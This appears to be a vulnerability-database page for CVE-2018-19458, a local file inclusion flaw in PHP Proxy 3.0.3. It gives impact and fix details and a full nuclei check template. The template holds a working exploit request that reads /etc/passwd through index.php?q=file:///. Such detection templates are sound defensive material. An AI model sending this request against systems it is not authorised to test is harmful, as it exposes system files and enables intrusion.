HexBrain

Browse / CVEs / CVE-2018-19458

CVE-2018-19458· php-proxy / php-proxy· CWE-287

PHP Proxy 3.0.3 - Local File Inclusion

highseverity
7.5CVSS score
32.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.

Fix

Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?q=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-19458 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-19458

info:
  name: PHP Proxy 3.0.3 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/45780
    - https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19458
    - https://www.exploit-db.com/exploits/45780/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19458
    cwe-id: CWE-287
    epss-score: 0.32885
    epss-percentile: 0.98367
    cpe: cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-proxy
    product: php-proxy
  tags: cve,cve2018,edb,lfi,proxy,php-proxy,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?q=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from